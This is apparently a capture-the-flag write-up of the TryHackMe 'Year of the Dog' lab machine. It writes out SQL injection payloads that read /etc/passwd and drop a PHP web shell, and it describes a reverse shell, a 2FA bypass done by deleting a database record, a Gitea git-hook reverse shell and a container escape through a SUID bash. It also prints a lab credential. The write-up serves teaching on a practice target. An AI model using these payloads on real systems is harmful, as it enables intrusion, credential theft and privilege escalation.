TryHackMe – Year of the Dog Write-Up
topics: web application attacks, OWASP (SQL injection), code injection, sensitive data exposure, file upload bypassing, SSH tunnel, lateral movement, client side attacks (bypass 2FA), escaping containers, Linux Privilege Escalation
There are only two ports open on this machine, SSH and HTTP. The homepage is a UK flag with a particular message:
We are issued a number from the queue. As there are only two open ports on this machine, we can surmise we’ll find an initial foothold this way, and the fact that we are being “queued’ and are issued a random number is an interesting sign.
The config.php page found by gobuster
was empty, therefore all signs point towards this page. The only value we know that changes is the number when we reset our cookie value as if we were a new viewer. What happens if we change the value of the cookie and send a request?
We get a message that we are number “error” in the queue, this indicates the site might be vulnerable to SQL injection
Let’s start with a simple apostrophe to determine the platform and version of SQL that this website uses
This server is using MySQL so we can begin with simple UNION statements in MySQL that attempt to find the version, tables, columns and values they hold like usernames and passwords.
Lets try a statement to determine the number of columns ' union all select 1,2,3 -- -
If we remove a column we get the following message, confirming we have two columns
Lets determine the version, user, and table name using
We can see the database is MySQL 5.7.31 on Ubuntu 18.04, running as the user web in the queue table and queueName column
After attempting some common payloads to extract a username and password to SSH into, I decided to try other attack vectors. Occasionally, SQL databases have the ability to read system files and write files to the system, we can test using ' union all select 1,load_file("/etc/passwd")-- -
We can successfully read system files. We know this website uses PHP, we need to find a way to execute a reverse or bind PHP shell on this system. How can we write to the current directory?
We know the system is running Apache on Ubuntu so the working directory is most likely /var/www/html lets attempt to use INTO OUTFILE
to write a file on the system
Now that we’ve verified that we can write to the system, we can attempt to use PHP code to execute cmd
and store it in URL based shell with ' union all select 1,"<?php echo shell_exec($_GET["cmd"]); ?>" INTO OUTFILE '/var/www/html/cmd.php' -- -
The system has a filter that disallows random PHP code. We can inspect the source code of the website to determine what the filter is by loading the file with ' union all select 1,load_file("/var/www/html/index.php")-- -
The cookie is filtered via hex data, if we send the hex encoded command from above, we get an initial foothold. The specific command didn’t work but there are various ways to execute cmd with PHP including <?php system($_REQUEST['cmd']); ?>
which worked using
We can now download and execute a PHP reverse shell. Start an HTTP server and run
We aren’t the user dylan yet, but peeping around his home directory reveals compromising information.
This file work_analysis appears to be a log of an SSH brute force attempt
There are numerous error message within this log file. Parsing for only passwords prints basically the file itself, however if we parse passwords for perhaps dylan’s we see it is returned
We now have the credentials dylan:Labr4d0rs4L1f3 to login via SSH
Dylan does not have sudo
privileges on the machine so we’ll have to search for other means of becoming root. I ran a LinEnum.sh script that returned vital information
Upon first glance, we notice there is a port running internally on 3000, something that our scans would not have found. We can create a tunnel to this port and inspect the service.
We can also see dylan is running a web service called gitea
which might be connected to the internal port.
We can create an SSH tunnel to this service using ssh -L 8000:localhost:3000 dylan@dog.thm
If we try and login with dylan’s credentials we can see we are stopped by 2FA
We have dylan’s credentials, the owner of this service, perhaps we can discover a way to disable 2FA on the gitea app and login with dylan’s creds or find a hint for Dylan’s 2FA password.
We know of the service’s location via LinEnum.sh, lets list the contents and see if we find anything interesting.
We can see a binary .db file, lets attempt to parse this for strings relating to dylan or 2FA.
We see 2FA is controlled by, two_factor. Since we now know the name of 2FA, we can delete this requirement with python3
Now when we login we aren’t required to enter 2FA
Gitea is a self hosted git service, meaning if we find an avenue to edit files we can potentially commit and push a reverse shell. Searching around the Test-repo settings we can see a section called Git Hooks which stores and runs repository scripts.
This file is a bash script so we can add a basic nc
reverse shell and push the new commit. Following this we must clone the repository and push the new commit.
git clone http://127.0.0.1:3000/Dylan/Test-Repo.git
The user git has all sudo
privileges, granting us root privileges
Checking the contents of the current directory we can see we are in a container and not on the main machine
For us to escape this container and elevate to root on the host machine, we have to find a shared folder between the container and host. When we create a binary file as user root within the container, it’s assigned a UID of root on the host OS.
We can effectively create a bash shell owned by root with SUID privileges. Navigating to / we see a directory /data which contains the same files as the gitea repository.
We can change the permissions of /bin/bash in the container and copy it to /data/bash using chmod 4755 /bin/bash && cp /bin/bash /data/bash
copying the bash shell from the container does not work. We have to copy the shell from the host OS with nc
and change that to SUID permissions.
Checking the size of the new bash program, we can now execute the shell on the host OS with ./bash -p